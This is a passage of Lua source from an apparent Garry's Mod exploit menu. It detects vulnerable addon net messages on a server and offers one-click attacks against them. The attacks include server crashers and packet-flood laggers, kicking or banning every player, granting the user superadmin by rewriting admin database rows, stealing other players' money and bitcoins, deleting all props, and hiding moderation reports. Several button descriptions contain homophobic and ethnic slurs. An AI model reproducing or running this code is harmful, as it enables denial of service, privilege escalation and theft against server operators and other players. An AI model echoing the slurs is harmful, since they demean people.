1002 if desc then
1003 id:SetToolTip(desc)
1004 end
1005
1006 id.Paint = function(self, w, h)
1007 id.OnCursorEntered = function(self)
1008 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1009 surface.PlaySound("buttons/button15.wav")
1010 end
1011
1012 if id:IsHovered() then
1013 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1014 surface.SetDrawColor(Color(0, 0, 0, 255))
1015 surface.DrawOutlinedRect(0, 0, id:GetSize())
1016 surface.DrawOutlinedRect(0, 25, id:GetSize())
1017 else
1018 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1019 surface.SetDrawColor(Color(0, 0, 0, 255))
1020 surface.DrawOutlinedRect(0, 0, id:GetSize())
1021 surface.DrawOutlinedRect(0, 25, id:GetSize())
1022 end
1023 end
1024 end
1025
1026 --////////////////// [EXPLOITS] ////////////////////
1027 status = ValidNetString("TCBBuyAmmo")
1028
1029 if (status) then
1030 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1031
1032 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1033 surface.PlaySound("garrysmod/ui_click.wav")
1034 ECPrint("Getting Le Ammo")
1035
1036 for k, v in pairs(GAMEMODE.AmmoTypes) do
1037 net.Start("TCBBuyAmmo")
1038 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1039 net.SendToServer()
1040 end
1041 end)
1042 end
1043
1044 status = ValidNetString("DataSend")
1045
1046 if (status) then
1047 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1048
1049 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1050 surface.PlaySound("garrysmod/ui_click.wav")
1051
1052 for k, v in pairs(ents.GetAll()) do
1053 if v:GetClass() == "adv_moneyprinter" then
1054 ECPrint("Collecting Money")
1055 net.Start("DataSend")
1056 net.WriteFloat(2)
1057 net.WriteEntity(v)
1058 net.WriteEntity(LocalPlayer())
1059 net.SendToServer()
1060 end
1061 end
1062 end)
1063 end
1064
1065 status = ValidNetString("FarmingmodSellItems")
1066
1067 if (status) then
1068 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1069
1070 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1071 surface.PlaySound("garrysmod/ui_click.wav")
1072 ECPrint("Enjoy the b1g monies")
1073 net.Start("FarmingmodSellItems")
1074
1075 net.WriteTable({
1076 Cost = 10,
1077 CropModel = "models/props/eryk/garlic.mdl",
1078 CropType = 2,
1079 Info = "Garlic Seed",
1080 Model = "models/props/eryk/seedbag.mdl",
1081 Name = "Garlic",
1082 Quality = 4,
1083 Sell = 99999,
1084 Type = "Seed"
1085 })
1086
1087 net.WriteInt(1, 16)
1088 net.SendToServer()
1089 end)
1090 end
1091
1092 status = ValidNetString("start_wd_emp")
1093
1094 if (status) then
1095 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1096
1097 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1098 surface.PlaySound("garrysmod/ui_click.wav")
1099 ECNotify("Hacking Keypads")
1100 net.Start("start_wd_emp")
1101 net.SendToServer()
1102 end)
1103 end
1104
1105 status = ValidNetString("duelrequestguiYes")
1106
1107 if (status) then
1108 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1109
1110 addExploit("5", "Get Money", "Duel Exploit", function()
1111 surface.PlaySound("garrysmod/ui_click.wav")
1112 ECNotify("getting ez monies")
1113 net.Start("duelrequestguiYes")
1114 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1115 net.WriteEntity(table.Random(player.GetAll()))
1116 net.WriteString("Crossbow")
1117 net.SendToServer()
1118 end)
1119 end
1120
1121 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1122
1123 if (status) then
1124 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1125
1126 addExploit("6", "Respawn #1", "Just respawn", function()
1127 surface.PlaySound("garrysmod/ui_click.wav")
1128 ECPrint("Respawn")
1129 net.Start("DarkRP_Kun_ForceSpawn")
1130 net.SendToServer()
1131 end)
1132 end
1133
1134 status = ValidNetString("SyncPrinterButtons76561198056171650")
1135
1136 if (status) then
1137 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1138
1139 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1140 surface.PlaySound("garrysmod/ui_click.wav")
1141 ECPrint("Collecting Money")
1142
1143 for k, v in pairs(ents.GetAll()) do
1144 if (v:GetClass() == "adv_moneyprinter") then
1145 net.Start("SyncPrinterButtons76561198056171650")
1146 net.WriteEntity(v)
1147 net.WriteUInt(2, 4)
1148 net.SendToServer()
1149 end
1150 end
1151 end)
1152 end
1153
1154 ---------------------------------------------------------------------------------------------
1155 local function report()
1156 for i = 1, 2000 do
1157 net.Start("DL_Answering")
1158 net.SendToServer()
1159 end
1160 end
1161
1162 if (Damagelog) then
1163 ECPrint("Found Exploit: Kick All Players")
1164 reportSpam = 0
1165
1166 addExploit("1337", "Kick All Players", "Kicks all players", function()
1167 surface.PlaySound("garrysmod/ui_click.wav")
1168
1169 if (reportSpam == 0) then
1170 ECNotify("Starting Kicker")
1171 reportSpam = 1
1172 timer.Create("reportSpammer", 0.05, 0, report)
1173 else
1174 ECNotify("Stopping Kicker")
1175 reportSpam = 0
1176 timer.Remove("reportSpammer")
1177 end
1178 end)
1179 end
1180
1181 ----------------------------------------------------------------------------------------------
1182 status = ValidNetString("SimplicityAC_aysent")
1183
1184 if (status) then
1185 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1186
1187 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1188 surface.PlaySound("garrysmod/ui_click.wav")
1189 ECPrint("Goodbye Server")
1190 local tbl = {}
1191
1192 for i = 1, 400 do
1193 tbl[i] = i
1194 end
1195
1196 net.Start("SimplicityAC_aysent")
1197 net.WriteUInt(1, 8)
1198 net.WriteUInt(4294967295, 32)
1199 net.WriteTable(tbl)
1200 net.SendToServer()
1201 end)
1202 end
1203
1204 status = ValidNetString("RevivePlayer")
1205
1206 if (status) then
1207 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1208
1209 addExploit("9", "Reanimation #1", "Instant revival", function()
1210 surface.PlaySound("garrysmod/ui_click.wav")
1211
1212 if not timer.Exists("reanimation1") then
1213 ECNotify("Enabled")
1214
1215 timer.Create("reanimation1", 0.5, 0, function()
1216 if not LocalPlayer():Alive() then
1217 net.Start("RevivePlayer")
1218 net.WriteEntity(LocalPlayer())
1219 net.SendToServer()
1220 end
1221 end)
1222 else
1223 timer.Remove("reanimation1")
1224 ECNotify("Disabled")
1225 end
1226 end)
1227 end
1228
1229 status = ValidNetString("NLRKick")
1230
1231 if (status) then
1232 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1233
1234 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1235 surface.PlaySound("garrysmod/ui_click.wav")
1236 ECNotify("Kicking All")
1237
1238 for k, v in pairs(player.GetAll()) do
1239 if v ~= LocalPlayer() then
1240 net.Start("NLRKick")
1241 net.WriteEntity(v)
1242 net.SendToServer()
1243 end
1244 end
1245 end)
1246 end
1247
1248 status = ValidNetString("timebombDefuse")
1249
1250 if (status) then
1251 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1252
1253 addExploit("11", "Delete All Props", "props = dead", function()
1254 surface.PlaySound("garrysmod/ui_click.wav")
1255 ECNotify("Props De_Stroyed")
1256
1257 for k, v in pairs(ents.GetAll()) do
1258 net.Start("timebombDefuse")
1259 net.WriteEntity(v)
1260 net.WriteBool(true)
1261 net.SendToServer()
1262 end
1263 end)
1264 end
1265
1266 status = ValidNetString("NDES_SelectedEmblem")
1267
1268 if (status) then
1269 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1270
1271 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1272 surface.PlaySound("garrysmod/ui_click.wav")
1273
1274 if not timer.Exists("lagger2") then
1275 timer.Create("lagger2", 0.5, 0, function()
1276 for i = 1, 2000 do
1277 net.Start("NDES_SelectedEmblem", true)
1278 net.WriteString("seized")
1279 net.SendToServer()
1280 end
1281 end)
1282
1283 ECNotify("Starting Lagger")
1284 else
1285 timer.Remove("lagger2")
1286 ECNotify("Stopping Lagger")
1287 end
1288 end)
1289 end
1290
1291 status = ValidNetString("Morpheus.StaffTracker")
1292
1293 if (status) then
1294 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1295
1296 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1297 surface.PlaySound("garrysmod/ui_click.wav")
1298
1299 if not timer.Exists("crasher1") then
1300 timer.Create("crasher1", 0.5, 0, function()
1301 for i = 1, 2000 do
1302 net.Start("Morpheus.StaffTracker")
1303 net.SendToServer()
1304 end
1305 end)
1306
1307 ECNotify("Crashing Server")
1308 else
1309 timer.Remove("crasher1")
1310 ECNotify("Canceling Crasher")
1311 end
1312 end)
1313 end
1314
1315 status = ValidNetString("egg")
1316
1317 if (status) then
1318 ECPrint("Found Exploit: Get Easter Egg")
1319
1320 addExploit("14", "Get Easter Egg", "ez eggs", function()
1321 surface.PlaySound("garrysmod/ui_click.wav")
1322 RunConsoleCommand("say", "4bigz")
1323 RunConsoleCommand("cc_egg2")
1324 net.Start("egg")
1325 net.SendToServer()
1326 ECNotify("Gave Easter Egg")
1327 end)
1328 end
1329
1330 status = ValidNetString("pplay_deleterow")
1331
1332 if (status) then
1333 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1334
1335 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1336 surface.PlaySound("garrysmod/ui_click.wav")
1337 local id = LocalPlayer():SteamID()
1338 local tbl = {}
1339 tbl.name = "FAdmin_PlayerGroup"
1340 tbl.where = {"steamid", tostring(id)}
1341 net.Start("pplay_deleterow")
1342 net.WriteTable(tbl)
1343 net.SendToServer()
1344 local tbl = {}
1345 tbl.tblname = "FAdmin_PlayerGroup"
1346 tbl.tblinfo = {tostring(id), "superadmin"}
1347 net.Start("pplay_addrow")
1348 net.WriteTable(tbl)
1349 net.SendToServer()
1350 ECNotify("promotion ;)")
1351 end)
1352 end
1353
1354 -- ttt report bypass by daddy grampa
1355 local function CheckChild(pan)
1356 local title = "You have been reported! Please answer all your reports."
1357 if not pan or not IsValid(pan) then return end
1358
1359 if pan.GetTitle and pan:GetTitle() == title then
1360 pan:Remove()
1361 print("Removed warning box")
1362
1363 return
1364 end
1365
1366 for k, v in pairs(pan:GetChildren()) do
1367 if v.GetTitle and v:GetTitle() == title then
1368 v:Remove()
1369 print("Removed warning box")
1370
1371 return
1372 end
1373
1374 if #v:GetChildren() > 0 then
1375 CheckChild(v)
1376 end
1377 end
1378 end
1379
1380 if (engine.ActiveGamemode() == "terrortown") then
1381 bypass = 0
1382 ECPrint("Found Exploit: TTT Report Bypass")
1383
1384 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1385 surface.PlaySound("garrysmod/ui_click.wav")
1386
1387 if (bypass == 0) then
1388 hook.Add("Think", "remove_ttt_report", function()
1389 local pan = vgui.GetHoveredPanel()
1390 CheckChild(pan)
1391 end)
1392
1393 ECNotify("Enabled Report Bypass")
1394 bypass = 1
1395 else
1396 hook.Remove("Think", "remove_ttt_report")
1397 ECNotify("Disabled Report Bypass")
1398 bypass = 0
1399 end
1400 end)
1401 end
1402
1403 status = ValidNetString("EZS_PlayerTag")
1404
1405 if (status) then
1406 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1407
1408 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1409 surface.PlaySound("garrysmod/ui_click.wav")
1410
1411 if not timer.Exists("lagger3") then
1412 timer.Create("lagger3", 0.5, 0, function()
1413 for k, v in pairs(player.GetAll()) do
1414 net.Start("EZS_PlayerTag", true)
1415 net.WriteEntity(v)
1416 net.WriteString("Seized")
1417 net.SendToServer()
1418
1419 timer.Simple(2, function()
1420 net.Start("EZS_PlayerTag", true)
1421 net.WriteEntity(v)
1422 net.WriteString("Seized")
1423 net.SendToServer()
1424 end)
1425 end
1426 end)
1427
1428 ECNotify("Starting Lagger")
1429 else
1430 timer.Remove("lagger3")
1431 ECNotify("Stopping Lagger")
1432 end
1433 end)
1434 end
1435
1436 if ConVarExists("advttt_spreadovertime_enabled") then
1437 ECPrint("Found Exploit: Remove Spread")
1438
1439 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1440 surface.PlaySound("garrysmod/ui_click.wav")
1441 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1442 ECNotify("Spread Removed")
1443 end)
1444 end
1445
1446 status = ValidNetString("fp_as_doorHandler")
1447
1448 if (status) then
1449 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1450
1451 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1452 surface.PlaySound("garrysmod/ui_click.wav")
1453 net.Start("fp_as_doorHandler")
1454 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1455 net.WriteString("unlock")
1456 net.SendToServer()
1457 ECNotify("Opened Door")
1458 end)
1459 end
1460
1461 status = ValidNetString("fp_as_doorHandler")
1462
1463 if (status) then
1464 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1465 surface.PlaySound("garrysmod/ui_click.wav")
1466 net.Start("fp_as_doorHandler")
1467 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1468 net.WriteString("lock")
1469 net.SendToServer()
1470 ECNotify("Opened Door")
1471 end)
1472 end
1473
1474 status = ValidNetString("fp_as_doorHandler")
1475
1476 if (status) then
1477 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1478 surface.PlaySound("garrysmod/ui_click.wav")
1479 local door = LocalPlayer():GetEyeTrace().Entity
1480 local doorOwner = door:getDoorData()["owner"]
1481 net.Start("fp_as_doorHandler")
1482 net.WriteEntity(door)
1483 net.WriteString("removeOwner")
1484 net.WriteDouble(doorOwner)
1485 net.SendToServer()
1486 ECNotify("Opened Door")
1487 end)
1488 end
1489
1490 status = ValidNetString("VJSay")
1491
1492 if (status) then
1493 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1494
1495 addExploit("22", "VJSay [OLD]", "", function()
1496 surface.PlaySound("garrysmod/ui_click.wav")
1497 inputFrame2Exists = true
1498 inputFrame2 = vgui.Create("DFrame")
1499 inputFrame2:SetTitle("Enter your message!")
1500 inputFrame2:SetSize(400, 75)
1501 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1502 inputFrame2:SetDraggable(false)
1503 inputFrame2:ShowCloseButton(false)
1504 inputFrame2:MakePopup()
1505
1506 inputFrame2.Paint = function(self, w, h)
1507 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1508 end
1509
1510 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1511 TextEntry2:SetSize(380, 30)
1512 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1513 TextEntry2:SetText("Broadcast Msg")
1514
1515 TextEntry2.OnEnter = function(self)
1516 surface.PlaySound("garrysmod/ui_click.wav")
1517 ECNotify("Broadcasting")
1518 net.Start("VJSay")
1519 net.WriteEntity(nil)
1520 net.WriteString(TextEntry2:GetValue())
1521 net.WriteString("")
1522 net.SendToServer()
1523 inputFrame2:SetVisible(false)
1524 end
1525 end)
1526 end
1527
1528 status = ValidNetString("ply_pick_shit")
1529
1530 if (status) then
1531 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1532
1533 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1534 surface.PlaySound("garrysmod/ui_click.wav")
1535
1536 for k, v in pairs(player.GetAll()) do
1537 for i = 1, 255 do
1538 net.Start("ply_pick_shit")
1539 net.WriteEntity(LocalPlayer())
1540 net.WriteEntity(v)
1541 net.SendToServer()
1542 end
1543 end
1544
1545 ECNotify("enjoy monies")
1546 end)
1547 end
1548
1549 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1550
1551 if (status) then
1552 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1553
1554 addExploit("24", "Crasher #2", "big lagz", function()
1555 surface.PlaySound("garrysmod/ui_click.wav")
1556
1557 if not timer.Exists("crasher2") then
1558 timer.Create("crasher2", 0, 0, function()
1559 for i = 1, 400 do
1560 net.Start("pac.net.TouchFlexes.ClientNotify")
1561 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1562 net.SendToServer()
1563 end
1564 end)
1565
1566 ECNotify("Starting Crasher")
1567 else
1568 timer.Remove("crasher2")
1569 ECNotify("Stopping Crasher")
1570 end
1571 end)
1572 end
1573
1574 status = ValidNetString("BM2.Command.SellBitcoins")
1575
1576 if (status) then
1577 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1578
1579 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1580 surface.PlaySound("garrysmod/ui_click.wav")
1581
1582 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1583 net.Start("BM2.Command.SellBitcoins")
1584 net.WriteEntity(v)
1585 net.SendToServer()
1586 end
1587
1588 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1589 net.Start("BM2.Command.SellBitcoins")
1590 net.WriteEntity(v)
1591 net.SendToServer()
1592 end
1593
1594 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1595 net.Start("BM2.Command.SellBitcoins")
1596 net.WriteEntity(v)
1597 net.SendToServer()
1598 end
1599 end)
1600 end
1601
1602 status = ValidNetString("BM2.Command.Eject")
1603
1604 if (status) then
1605 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1606
1607 addExploit("26", "Lagger #4", "discovered by triggered", function()
1608 surface.PlaySound("garrysmod/ui_click.wav")
1609
1610 if not timer.Exists("lagger4") then
1611 timer.Create("lagger4", 0, 0, function()
1612 for i = 1, 1000 do
1613 net.Start("BM2.Command.Eject", true)
1614 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1615 net.SendToServer()
1616 end
1617 end)
1618
1619 ECNotify("Starting Lagger")
1620 else
1621 timer.Remove("lagger4")
1622 ECNotify("Stopping Lagger")
1623 end
1624 end)
1625 end
1626
1627 status = ValidNetString("BM2.Command.SellBitcoins")
1628
1629 if (status) then
1630 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1631
1632 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1633 surface.PlaySound("garrysmod/ui_click.wav")
1634
1635 timer.Create("lagger5", 0, 0, function()
1636 for i = 1, 1000 do
1637 net.Start("BM2.Command.SellBitcoins", true)
1638 net.WriteEntity(LocalPlayer())
1639 net.SendToServer()
1640 end
1641 end)
1642 end)
1643 end
1644
1645 status = ValidNetString("ItemStoreUse")
1646
1647 if (status) then
1648 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1649
1650 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1651 surface.PlaySound("garrysmod/ui_click.wav")
1652
1653 if not timer.Exists("lagger6") then
1654 timer.Create("lagger6", 0, 0, function()
1655 for i = 1, 1000 do
1656 net.Start("ItemStoreUse", true)
1657 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1658 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1659 net.SendToServer()
1660 end
1661 end)
1662
1663 ECNotify("Starting Lagger")
1664 else
1665 timer.Remove("lagger6")
1666 ECNotify("Stopping Lagger")
1667 end
1668 end)
1669 end
1670
1671 status = ValidNetString("ItemStoreDrop")
1672
1673 if (status) then
1674 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1675
1676 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1677 surface.PlaySound("garrysmod/ui_click.wav")
1678
1679 if not timer.Exists("lagger7") then
1680 timer.Create("lagger7", 0, 0, function()
1681 for i = 1, 1000 do
1682 net.Start("ItemStoreDrop", true)
1683 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1684 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1685 net.SendToServer()
1686 end
1687 end)
1688
1689 ECNotify("Starting Lagger")
1690 else
1691 timer.Remove("lagger7")
1692 ECNotify("Stopping Lagger")
1693 end
1694 end)
1695 end
1696
1697 status = ValidNetString("gMining.sellMineral")
1698
1699 if (status) then
1700 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1701
1702 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1703 surface.PlaySound("garrysmod/ui_click.wav")
1704 ECNotify("Starting")
1705
1706 if not timer.Exists("lagger8") then
1707 timer.Create("lagger8", 0, 0, function()
1708 for i = 1, 1000 do
1709 net.Start("gMining.sellMineral", true)
1710 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1711 net.WriteString(" ")
1712 net.SendToServer()
1713 end
1714 end)
1715 end
1716 end)
1717 end
1718
1719 status = ValidNetString("PlayerUseItem")
1720
1721 if (status) then
1722 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1723
1724 addExploit("31", "Lagger #9", "discovered by triggered", function()
1725 surface.PlaySound("garrysmod/ui_click.wav")
1726
1727 if not timer.Exists("lagger9") then
1728 timer.Create("lagger9", 0, 0, function()
1729 for i = 1, 800 do
1730 net.Start("PlayerUseItem", true)
1731 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1732 net.SendToServer()
1733 end
1734 end)
1735
1736 ECNotify("Starting Lagger")
1737 else
1738 timer.Remove("lagger9")
1739 ECNotify("Stopping Lagger")
1740 end
1741 end)
1742 end
1743
1744 status = ValidNetString("RequestMAPSize")
1745
1746 if (status) then
1747 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1748
1749 addExploit("32", "Lagger #10", "1tap server", function()
1750 surface.PlaySound("garrysmod/ui_click.wav")
1751
1752 if not timer.Exists("lagger10") then
1753 timer.Create("lagger10", 0, 0, function()
1754 for i = 1, 400 do
1755 net.Start("RequestMAPSize", true)
1756 net.SendToServer()
1757 end
1758 end)
1759
1760 ECNotify("Starting Lagger")
1761 else
1762 timer.Remove("lagger10")
1763 ECNotify("Stopping Lagger")
1764 end
1765 end)
1766 end
1767
1768 status = ValidNetString("MG2.Request.GangRankings")
1769
1770 if (status) then
1771 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1772
1773 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1774 surface.PlaySound("garrysmod/ui_click.wav")
1775
1776 if not timer.Exists("lagger11") then
1777 timer.Create("lagger11", 0, 0, function()
1778 for i = 1, 1000 do
1779 net.Start("MG2.Request.GangRankings", true)
1780 net.SendToServer()
1781 end
1782 end)
1783
1784 ECNotify("Starting Lagger")
1785 else
1786 timer.Remove("lagger11")
1787 ECNotify("Stopping Lagger")
1788 end
1789 end)
1790 end
1791
1792 status = ValidNetString("dLogsGetCommand")
1793
1794 if (status) then
1795 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1796
1797 addExploit("34", "Lagger #12", "b1g lags", function()
1798 surface.PlaySound("garrysmod/ui_click.wav")
1799 ECNotify("Starting Lagger")
1800
1801 for i = 1, 7000 do
1802 net.Start("dLogsGetCommand", true)
1803
1804 net.WriteTable({
1805 cmd = "+forward",
1806 args = " "
1807 })
1808
1809 net.SendToServer()
1810 end
1811 end)
1812 end
1813
1814 status = ValidNetString("ats_send_toServer")
1815
1816 if (status) then
1817 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1818
1819 addExploit("35", "Lagger #13", "big lags", function()
1820 surface.PlaySound("garrysmod/ui_click.wav")
1821 ECNotify("Starting Lagger")
1822
1823 for i = 1, 2000 do
1824 net.Start("ats_send_toServer", true)
1825 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1826 net.SendToServer()
1827 end
1828 end)
1829 end
1830
1831 status = ValidNetString("shopguild_buyitem")
1832
1833 if (status) then
1834 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1835
1836 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1837 surface.PlaySound("garrysmod/ui_click.wav")
1838 ECPrint("Guild level successfully upgraded")
1839 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1840
1841 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1842 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1843 end
1844
1845 net.Start("shopguild_buyitem")
1846 net.WriteString("lvl")
1847 net.WriteDouble(level)
1848 net.WriteString("Guild Level " .. level)
1849 net.WriteEntity(LocalPlayer())
1850 net.WriteUInt(2, 4)
1851 net.WriteDouble(0)
1852 net.SendToServer()
1853 level = level + 1
1854 end)
1855 end
1856
1857 status = ValidNetString("VoteKickNO")
1858
1859 if (status) then
1860 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1861
1862 addExploit("37", "Votekick", "kicking all", function()
1863 surface.PlaySound("garrysmod/ui_click.wav")
1864
1865 for k, v in pairs(player.GetAll()) do
1866 net.Start("VoteKickNO")
1867 net.WriteFloat(v:EntIndex())
1868 net.WriteFloat(6)
1869 net.SendToServer()
1870 net.Start("VoteKickNO")
1871 net.WriteFloat(v:EntIndex())
1872 net.WriteFloat(6)
1873 net.SendToServer()
1874 net.Start("VoteKickNO")
1875 net.WriteFloat(v:EntIndex())
1876 net.WriteFloat(6)
1877 net.SendToServer()
1878 net.Start("VoteKickNO")
1879 net.WriteFloat(v:EntIndex())
1880 net.WriteFloat(6)
1881 net.SendToServer()
1882 end
1883 end)
1884 end
1885
1886 status = ValidNetString("VoteBanNO")
1887
1888 if (status) then
1889 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1890
1891 addExploit("38", "Voteban", "bans all", function()
1892 surface.PlaySound("garrysmod/ui_click.wav")
1893
1894 for k, v in pairs(player.GetAll()) do
1895 net.Start("VoteBanNO")
1896 net.WriteFloat(v:EntIndex())
1897 net.WriteFloat(8)
1898 net.SendToServer()
1899 net.Start("VoteBanNO")
1900 net.WriteFloat(v:EntIndex())
1901 net.WriteFloat(8)
1902 net.SendToServer()
1903 net.Start("VoteBanNO")
1904 net.WriteFloat(v:EntIndex())
1905 net.WriteFloat(8)
1906 net.SendToServer()
1907 end
1908 end)
1909 end
1910
1911 status = ValidNetString("NewReport")
1912
1913 if (status) then
1914 ECPrint("Found Exploit: Custom Report [NewReport]")
1915
1916 addExploit("39", "Custom Report", "Report all faggots", function()
1917 surface.PlaySound("garrysmod/ui_click.wav")
1918
1919 for k, v in pairs(player.GetAll()) do
1920 net.Start("NewReport")
1921 net.WriteType(ply)
1922 net.WriteInt(8, 5)
1923 net.WriteString("hahaha")
1924 net.SendToServer()
1925 end
1926 end)
1927 end
1928
1929 status = ValidNetString("Warn_CreateWarn")
1930
1931 if (status) then
1932 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1933
1934 addExploit("40", "Custom Warn", "Warn all faggots", function()
1935 surface.PlaySound("garrysmod/ui_click.wav")
1936
1937 for k, v in pairs(player.GetAll()) do
1938 net.Start("Warn_CreateWarn")
1939 net.WriteEntity(ply)
1940 net.WriteString("hahaha")
1941 net.SendToServer()
1942 end
1943 end)
1944 end
1945
1946 status = ValidNetString("showDisguiseHUD")
1947
1948 if (status) then
1949 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1950
1951 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1952 surface.PlaySound("garrysmod/ui_click.wav")
1953 ECPrint("Choose a disguise")
1954 PlayerCount = 0
1955
1956 for k, v in pairs(player.GetAll()) do
1957 PlayerCount = PlayerCount + 1
1958 end
1959
1960 local TeamNum
1961 local disguise_Model_Preview_Default
1962 local base = vgui.Create("DFrame")
1963 base:SetSize(300, 420)
1964 base:Center()
1965 base:SetTitle(" ")
1966 base:ShowCloseButton(false)
1967 base:MakePopup()
1968
1969 function base:Paint()
1970 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1971 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1972 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
1973 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
1974 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
1975 end
1976
1977 local ExitButton = vgui.Create("DButton", base)
1978 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
1979 ExitButton:SetText("Close")
1980 ExitButton:SetSize(60, 20)
1981 ExitButton:SetFont("DermaDefaultBold")
1982
1983 ExitButton.Paint = function()
1984 if ExitButton.Hovered then
1985 if ExitButton:IsDown() then
1986 ExitButton:SetTextColor(Color(200, 200, 200, 200))
1987 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 200), false, true)
1988 else
1989 ExitButton:SetTextColor(Color(255, 255, 255, 255))
1990 draw.RoundedBoxEx(5, 0, 0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255, 0, 0, 255), false, true)
1991 end
1992 else
1993 ExitButton:SetTextColor(Color(20, 20, 20, 200))
